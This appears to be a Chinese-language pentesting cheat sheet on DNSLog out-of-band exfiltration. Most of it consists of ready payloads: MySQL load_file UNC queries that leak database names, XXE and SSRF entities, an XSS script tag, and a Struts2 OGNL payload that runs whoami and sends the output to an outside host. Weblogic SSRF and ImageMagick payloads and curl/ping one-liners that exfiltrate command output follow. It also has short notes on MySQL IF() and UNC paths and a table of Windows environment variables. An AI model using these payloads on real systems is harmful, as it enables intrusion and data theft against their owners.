DNSLog

关键词: SQL, 漏洞

应用前提

  • SQL盲注
  • 无回显命令执行
  • XXE盲打
  • SSRF盲打

DNSLog服务器搭建

https://github.com/lanyi1998/DNSlog-GO

https://mp.weixin.qq.com/s/m_UXJa0imfOi721bkBpwFg

DNSLog在盲注中用法

Mysql数据库

利用条件

  1. 有file权限的数据库
  2. 开启allow_url_fopen(默认开启)
  3. secure_file_priv=
  4. 当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制
  5. show global variables like ‘%secure%';

payload:

select load_file('\\\\requests.xxxx.dnslog.cn\\aa');
select load_file(concat('\\\\',(select database()),'.xxxx.dnslog.cn/aa'));
http://127.0.0.1/fuzz/id=1 AND if((select load_file(concat(0x7c,(select database()),'xxx.dnslog.cn'))),1,1)

在mysql中 IF() 函数的用法类似于java中的三目表达式,其用处也比较多

IF(expr1,expr2,expr3),如果expr1的值为true,则返回expr2的值,如果expr1的值为false,则返回expr3的值

  • UNC路径

UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器. UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。我们日常常用的网络共享文件就是这个方式。

其实我们平常在Windows中用共享文件的时候就会用到这种网络地址的形式

\\sss.xxx\test\

这也就解释了为什么CONCAT()函数拼接了4个\了,因为转义的原因,4个\就变成了2个\,目的就是利用UNC路径。

因为Linux没有UNC路径这个东西,所以当MySQL处理Linux系统中的时候,是不能用这种方式外带数据的。

SQLServeer

Oracle

PostgreSQL

XSS

<script src=http://XSS.XXXXX.dnslog.cn></script>

SSRF

<!ENTITY test SYSTEM "SSRF.xxxx.dnslog.cn\\aa">

XXE(XML Entity Injection)

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://ip.port.xxx.dnslog.cn/xxe_test">
%remote;]>
<root/>

Struts2

xx.action?redirect:http://ip.port.xxx.dnslog.cn/%25{3*4}
xx.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'whoami'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://ip.port.xxx.dnslog.cn/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}

Weblogic

http://example.com/uddiexplorer/SearchPublicRegistries.jsp?operator=http://ip.port.xxx.dnslog.cn/test&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Businesslocation&btnSubmit=Search

ImageMagic

push graphic-context
viewbox 0 0 640 480
fill 'url(http://ip.port.xxx.dnslog.cn)'
pop graphic-context

DNSLog中命令执行

Linux

curl http://ip.port.xxx.dnslog.cn/`whoami`
ping `whoami`.ip.port.xxx.dnslog.cn

Windows

ping %USERNAME%.xxx.dnslog.cn
变量                     类型       描述
%ALLUSERSPROFILE%        本地       返回“所有用户”配置文件的位置。
%APPDATA%                本地       返回默认情况下应用程序存储数据的位置。
%CD%                     本地       返回当前目录字符串。
%CMDCMDLINE%             本地       返回用来启动当前的 Cmd.exe 的准确命令行。
%CMDEXTVERSION%          系统       返回当前的“命令处理程序扩展”的版本号。
%COMPUTERNAME%           系统       返回计算机的名称。
%COMSPEC%                系统       返回命令行解释器可执行程序的准确路径。
%DATE%                   系统       返回当前日期。使用与 date /t 命令相同的格式。由 Cmd.exe 生成。有关 date 命令的详细信息,请参阅 Date。
%ERRORLEVEL%             系统       返回上一条命令的错误代码。通常用非零值表示错误。
%HOMEDRIVE%              系统       返回连接到用户主目录的本地工作站驱动器号。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
%HOMEPATH%               系统       返回用户主目录的完整路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
%HOMESHARE%              系统       返回用户的共享主目录的网络路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
%LOGONSERVER%            本地       返回验证当前登录会话的域控制器的名称。
%NUMBER_OF_PROCESSORS%   系统       指定安装在计算机上的处理器的数目。
%OS%                     系统       返回操作系统名称。Windows 2000 显示其操作系统为 Windows_NT。
%PATH%                   系统       指定可执行文件的搜索路径。
%PATHEXT%                系统       返回操作系统认为可执行的文件扩展名的列表。
%PROCESSOR_ARCHITECTURE% 系统       返回处理器的芯片体系结构。值:x86 或 IA64(基于 Itanium)。
%PROCESSOR_IDENTFIER%    系统       返回处理器说明。
%PROCESSOR_LEVEL%        系统       返回计算机上安装的处理器的型号。
%PROCESSOR_REVISION%     系统       返回处理器的版本号。
%PROMPT%                 本地       返回当前解释程序的命令提示符设置。由 Cmd.exe 生成。
%RANDOM%                 系统       返回 0 到 32767 之间的任意十进制数字。由 Cmd.exe 生成。
%SYSTEMDRIVE%            系统       返回包含 Windows server operating system 根目录(即系统根目录)的驱动器。
%SYSTEMROOT%             系统       返回 Windows server operating system 根目录的位置。
%TEMP%和%TMP%            系统和用户 返回对当前登录用户可用的应用程序所使用的默认临时目录。有些应用程序需要 TEMP,而其他应用程序则需要 TMP。
%TIME%                   系统       返回当前时间。使用与                                                                                   time       /t                                                                     命令相同的格式。由         Cmd.exe                  生成。有关                       time   命令的详细信息,请参阅 Time。
%USERDOMAIN%             本地       返回包含用户帐户的域的名称。
%USERNAME%               本地       返回当前登录的用户的名称。
%USERPROFILE%            本地       返回当前用户的配置文件的位置。
%WINDIR%                 系统       返回操作系统目录的位置。
comments powered by Disqus